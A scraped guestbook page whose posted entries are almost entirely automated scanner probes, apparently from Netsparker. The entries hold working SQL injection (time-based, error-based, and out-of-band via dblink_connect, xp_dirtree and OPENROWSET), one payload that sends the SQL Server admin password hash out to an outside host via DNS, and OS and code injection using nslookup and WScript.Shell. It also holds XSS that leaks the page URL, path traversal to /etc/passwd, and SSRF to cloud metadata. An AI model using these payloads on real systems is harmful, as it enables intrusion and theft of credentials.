'& nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&'\\\"`0&nslookup o010_rdnxugvka1lanjs1hzj6u2m0e7oxikzgtsvaio.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&'\\\"`0&nslookup o010_rdnxukmhbou-scbumbrzafaimbsefhjrvxfgsi.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n (select UTL_INADDR.GET_HOST_ADDRESS('o010_rdnxueuzk4q74y3ctb3qs_tui_2g-kxjl1h'||'v8a.r87.me') from DUAL)\r\n

\r\n
\r\n

& nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&'\\\"`0&nslookup o010_rdnxugp51qgzhcygqki1vf-ggr_9wyyziwxldk.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:08:47 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n ';l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxu2tztvtnuffxl9jn6ffqj05y9bmsrjz\"+\"lqw.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+'

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:46 AM\r\n

\r\n

\r\n \";l=document.createElement(\"link\");l.rel=\"prefetch\";l.href=\"//o010_rdnxuc1x0wt8ggryx4fhtkabsxzynfujlal\"+\"9om.r87.me/r/?\"+location.href;document.head.appendChild(l);//\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6C

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

((SELECT 1 FROM (SELECT SLEEP(25))A))

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&'\\\"`0&nslookup o010_rdnxueptdxyih4nmgvtlxllauupxajmktdvqrw.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:45 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n '||cast((SELECT dblink_connect('host=o010_rdnxuc1oin0c4hpckcp8foocm07anmkehpx'||'sf8.r87.me user=a password=a connect_timeout=2')) as numeric)||'\r\n

\r\n
\r\n

//r87.com/n/j/?0x002A6B

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&'\\\"`0&nslookup o010_rdnxurw_c_czuj5q44tmkmsfdkc621jjpvmayg.r87.me&`'

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:44 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(54)||chr(102)||chr(101)||chr(98)||chr(104)||chr(108)||chr(122)||chr(114)||chr(111)||chr(106)||chr(114)||chr(110)||chr(119)||chr(122)||chr(117)||chr(106)||chr(106)||chr(49)||chr(53)||chr(98)||chr(107)||chr(103)||chr(54)||chr(114)||chr(98)||chr(108)||chr(121)||chr(121)||chr(121)||chr(115)||chr(110)||chr(105)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)\r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuwckoxuzj-q-mf353snaks__slwuazw'.'qhy.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A6A

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+gethostbyname(lc 'o010_rdnxuyrs0rdhcpaevkc0jatjxz0kayfppxs'.'z-k.r87.me')+\"

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1'));SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n cast((SELECT dblink_connect('host=o010_rdnxuye7pxomr6cfzohxftgde-pawtzwufz'||'vj8.r87.me user=a password=a connect_timeout=2')) as numeric)\r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuh0occyxcc2hyinn6dowfsyxqtydmgy'.'kwo.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/n.css?0x002A69

\r\n

\r\n 8/23/2017 8:08:43 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'+gethostbyname(lc 'o010_rdnxuwxepioueimpe3ahlrrde3dkelipswt'.'-r8.r87.me')+'

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuk4ssss_tqq_-f1cloohmjqc1a4ukdc'.'ea8.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1 ns=netsparker(0x002A5F)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

eval('gethostbyname(lc 'o010_rdnxuetffwa-rewtmbncgkgbslwp1-ybf-g'.'pqs.r87.me')')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxu-zjcoujzmjuke9htyaorejz9qjurq-'.'lqo.r87.me')

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\" ns=netsparker(0x002A5D)

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:42 AM\r\n

\r\n

\r\n Guestbook.aspx\u0000\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVDKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n dblink_connect('host=o010_rdnxurfmiai8zcwr84o0p6evaz7d39hh0gl'||'moy.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

gethostbyname(lc 'o010_rdnxuoh9ue36x4nycsvapqjod7cki-45apl'.'fry.r87.me')

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n Guestbook.aspx\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n '\"-->\r\n

\r\n
\r\n

data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDAyQTVCKTwvc2NyaXB0Pg==

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxux1ttqm-fzkmhcw66lkunourokwjnk7\" & \"32o.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:41 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1');SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A5A%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n data:;base64,TlM3NzU0NTYxNDQ2NTc1\r\n

\r\n
\r\n

\"+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwvkktv-6yshqe6vw9tqiagla_3jqio\" & \"qju.r87.me\").StdOut.ReadAll+\"

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

%27%22--%3E%3C%2Fstyle%3E%3C%2FscRipt%3E%3CscRipt%3Enetsparker%280x002A59%29%3C%2FscRipt%3E

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuf3ngej5qagncr5bvvxvljk_kpokj2y\" & \"wqa.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'\"-->

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuyjy44sbbwebomdllwwf7fw4vkyxjs-\" & \"y9m.r87.me\").StdOut.ReadAll%>

\r\n

\r\n 8/23/2017 8:08:40 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n //r87.com/?0x003F84\r\n

\r\n
\r\n

1);SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

N3TSP4RKE2

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n %2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\r\n

\r\n
\r\n

nxtspxrkex

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:39 AM\r\n

\r\n

\r\n [ns](javascript:netsparker(0x003F5C);)\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

n3tsp4rke2

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n /etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n '\"@-->\r\n

\r\n
\r\n

SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuto2k0fjezhd6ruyabepqc45o-vpngt\" & \"ano.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuwexbwswn8pfbf1bvusjtypxuvm3jjl\" & \"8u8.r87.me\").StdOut.ReadAll+

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1;SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuk1vfgf_nxm1mrxeiqxvvlf3himsg8s\" & \"jba.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:38 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

+createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxu_9gkrgwih7dhflofu_eqqvydzpjavl\" & \"cpq.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1';SELECT pg_sleep(25)--

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n SELECT dblink_connect('host=o010_rdnxuwc_kfykszf75db_ax6zbbyyoxdg8k_'||'qzk.r87.me user=a password=a connect_timeout=2')\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:37 AM\r\n

\r\n

\r\n ....//....//....//....//....//....//....//....//....//....//....//etc/passwd\r\n

\r\n
\r\n

1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000.aspx\r\n

\r\n
\r\n

((select sleep(25)))a-- 1

\r\n

\r\n 8/23/2017 8:08:36 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n -1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxu8b6_xkwdsrwt4gwl_lkdsxuuc1f9k4'+'czi.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

-1 AND ((SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25)))-- 1

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n http://127.0.0.1:3306\r\n

\r\n
\r\n

1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|\"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR\"*/

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:35 AM\r\n

\r\n

\r\n 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxup6v2xrho-agsnpydygm_pkesjulnnp'+'wma.r87.me')exec sp_executesql @r--\r\n

\r\n
\r\n

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n http://127.100.11.2:22\r\n

\r\n
\r\n

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','o010_rdnxupbv1t36dv7tzzeox9rl8zugpbd_mhj'+'wko.r87.me')exec sp_executesql @r\r\n

\r\n
\r\n

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:34 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n syscolumns WHERE 2>3;exec('xp_dirtree ''\\\\o010_rdnxugi6fcmdl7tqijcg_dhzstdxi0av1ls'+'i54.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n '||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'\r\n

\r\n
\r\n

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:33 AM\r\n

\r\n

\r\n 1'))exec('xp_dirtree ''\\\\o010_rdnxutwemwyt9d1nwv6740sq_xpfpkgi9qq'+'jui.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1))exec('xp_dirtree ''\\\\o010_rdnxuvyahvsvdwvwnhpev-1y_jzea_erche'+'iua.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

1)) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:32 AM\r\n

\r\n

\r\n 1')exec('xp_dirtree ''\\\\o010_rdnxunqbmffb-v8f3qumhlvjx32pp5yrf1j'+'s0u.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n 1) exec('xp_dirtree ''\\\\o010_rdnxuiryit2trwhl00odqhbsyhzffkd3jbb'+'sbi.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n -1';exec('xp_dirtree ''\\\\o010_rdnxugw6rfhxz5aklh2une_slh02ob6by0q'+'kok.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

')) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n 1;exec('xp_dirtree ''\\\\o010_rdnxu9adc8rk7jnup44n1jz6tpljawvlts2'+'uee.r87.me'+'\\c$\\a''')--\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:30 AM\r\n

\r\n

\r\n declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(password_hash),0,63)+'.o010_rdnxukhfwqkeuv058gewixgfypu745a1f_z'+'cxg.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\\\'+@h+'\\c$''')\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n exec('xp_dirtree ''\\\\o010_rdnxu533uyql6ntyanq9todluufh1ih9cb9'+'_n4.r87.me'+'\\c$\\a''')\r\n

\r\n
\r\n

') WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:29 AM\r\n

\r\n

\r\n http://169.254.169.254/latest/meta-data/public-hostname\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxuywsew0o5sjgi6iwpqxtdyqacxk0uvs\" & \"j3o.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))\r\n

\r\n
\r\n

createobject(\"WScript.Shell\").exec(\"nslookup o010_rdnxucn-4s_krnq45mumreo6wjmjklrp5no\" & \"o20.r87.me\").StdOut.ReadAll

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\u0000\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxudsglo9yfepaqhhpgycqeqivxc0wuki'.'2n8.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n http://aws.r87.me/latest/meta-data/public-hostname\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n file:///etc/passwd\r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:28 AM\r\n

\r\n

\r\n -1\" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+\"\r\n

\r\n
\r\n

'{${gethostbyname(trim('o010_rdnxublor8upun3x2iw3evqvbn_qgddb61-'.'_ku.r87.me'))}}'

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

1) WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n /../../../../../../../../../../../etc/passwd\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:27 AM\r\n

\r\n

\r\n -1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n /../../../../../../../../../../proc/version\u0000.aspx\r\n

\r\n
\r\n

WAITFOR DELAY '0:0:25'--

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

Smith

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n -1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:08:26 AM\r\n

\r\n

\r\n 127.0.0.1/elmah\r\n

\r\n
\r\n

http://www.example.com

\r\n

